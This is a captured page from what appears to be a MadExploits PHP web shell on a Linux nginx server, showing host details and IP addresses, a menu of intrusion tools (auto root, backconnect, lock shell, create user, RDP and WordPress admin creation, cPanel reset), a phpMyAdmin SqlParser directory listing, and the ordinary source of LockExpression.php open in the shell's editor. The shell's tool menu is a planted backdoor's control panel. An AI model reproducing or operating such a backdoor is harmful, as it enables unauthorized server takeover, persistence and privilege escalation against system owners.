Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
php /
PhpMyAdmin /
SqlParser /
Components /
[ HOME SHELL ]
Name
Size
Permission
Action
AlterOperation.php
9.38
KB
-rw-r--r--
Array2d.php
3.56
KB
-rw-r--r--
ArrayObj.php
4.95
KB
-rw-r--r--
CaseExpression.php
9.83
KB
-rw-r--r--
Condition.php
5.91
KB
-rw-r--r--
CreateDefinition.php
10.6
KB
-rw-r--r--
DataType.php
4.56
KB
-rw-r--r--
Expression.php
15
KB
-rw-r--r--
ExpressionArray.php
4
KB
-rw-r--r--
FunctionCall.php
2.93
KB
-rw-r--r--
GroupKeyword.php
3.37
KB
-rw-r--r--
IndexHint.php
6.32
KB
-rw-r--r--
IntoKeyword.php
7.94
KB
-rw-r--r--
JoinKeyword.php
6.3
KB
-rw-r--r--
Key.php
5.42
KB
-rw-r--r--
Limit.php
3.11
KB
-rw-r--r--
LockExpression.php
5.7
KB
-rw-r--r--
OptionsArray.php
12.15
KB
-rw-r--r--
OrderKeyword.php
3.51
KB
-rw-r--r--
ParameterDefinition.php
4.6
KB
-rw-r--r--
PartitionDefinition.php
6.94
KB
-rw-r--r--
Reference.php
3.83
KB
-rw-r--r--
RenameOperation.php
4.79
KB
-rw-r--r--
SetOperation.php
4.16
KB
-rw-r--r--
UnionKeyword.php
696
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : LockExpression.php
<?php /** * Parses a reference to a LOCK expression. */ declare(strict_types=1); namespace PhpMyAdmin\SqlParser\Components; use PhpMyAdmin\SqlParser\Component; use PhpMyAdmin\SqlParser\Parser; use PhpMyAdmin\SqlParser\Token; use PhpMyAdmin\SqlParser\TokensList; use function implode; use function is_array; /** * Parses a reference to a LOCK expression. */ class LockExpression extends Component { /** * The table to be locked. * * @var Expression */ public $table; /** * The type of lock to be applied. * * @var string */ public $type; /** * @param Parser $parser the parser that serves as context * @param TokensList $list the list of tokens that are being parsed * @param array $options parameters for parsing * * @return LockExpression */ public static function parse(Parser $parser, TokensList $list, array $options = []) { $ret = new static(); /** * The state of the parser. * * Below are the states of the parser. * * 0 ---------------- [ tbl_name ] -----------------> 1 * 1 ---------------- [ lock_type ] ----------------> 2 * 2 -------------------- [ , ] --------------------> break * * @var int */ $state = 0; $prevToken = null; for (; $list->idx < $list->count; ++$list->idx) { /** * Token parsed at this moment. * * @var Token */ $token = $list->tokens[$list->idx]; // End of statement. if ($token->type === Token::TYPE_DELIMITER || ($token->type === Token::TYPE_OPERATOR && $token->value === ',') ) { break; } if ($state === 0) { $ret->table = Expression::parse($parser, $list, ['parseField' => 'table']); $state = 1; } elseif ($state === 1) { // parse lock type $ret->type = self::parseLockType($parser, $list); $state = 2; } $prevToken = $token; } // 2 is the only valid end state if ($state !== 2) { $parser->error('Unexpected end of LOCK expression.', $prevToken); } --$list->idx; return $ret; } /** * @param LockExpression|LockExpression[] $component the component to be built * @param array $options parameters for building * * @return string */ public static function build($component, array $options = []) { if (is_array($component)) { return implode(', ', $component); } return $component->table . ' ' . $component->type; } private static function parseLockType(Parser $parser, TokensList $list) { $lockType = ''; /** * The state of the parser while parsing for lock type. * * Below are the states of the parser. * * 0 ---------------- [ READ ] -----------------> 1 * 0 ------------- [ LOW_PRIORITY ] ------------> 2 * 0 ---------------- [ WRITE ] ----------------> 3 * 1 ---------------- [ LOCAL ] ----------------> 3 * 2 ---------------- [ WRITE ] ----------------> 3 * * @var int */ $state = 0; $prevToken = null; for (; $list->idx < $list->count; ++$list->idx) { /** * Token parsed at this moment. * * @var Token */ $token = $list->tokens[$list->idx]; // End of statement. if ($token->type === Token::TYPE_DELIMITER || ($token->type === Token::TYPE_OPERATOR && $token->value === ',') ) { --$list->idx; break; } // Skipping whitespaces and comments. if ($token->type === Token::TYPE_WHITESPACE || $token->type === Token::TYPE_COMMENT) { continue; } // We only expect keywords if ($token->type !== Token::TYPE_KEYWORD) { $parser->error('Unexpected token.', $token); break; } if ($state === 0) { if ($token->keyword === 'READ') { $state = 1; } elseif ($token->keyword === 'LOW_PRIORITY') { $state = 2; } elseif ($token->keyword === 'WRITE') { $state = 3; } else { $parser->error('Unexpected keyword.', $token); break; } $lockType .= $token->keyword; } elseif ($state === 1) { if ($token->keyword === 'LOCAL') { $lockType .= ' ' . $token->keyword; $state = 3; } else { $parser->error('Unexpected keyword.', $token); break; } } elseif ($state === 2) { if ($token->keyword === 'WRITE') { $lockType .= ' ' . $token->keyword; $state = 3; // parsing over } else { $parser->error('Unexpected keyword.', $token); break; } } $prevToken = $token; } // Only two possible end states if ($state !== 1 && $state !== 3) { $parser->error('Unexpected end of Lock expression.', $prevToken); } return $lockType; } }
Close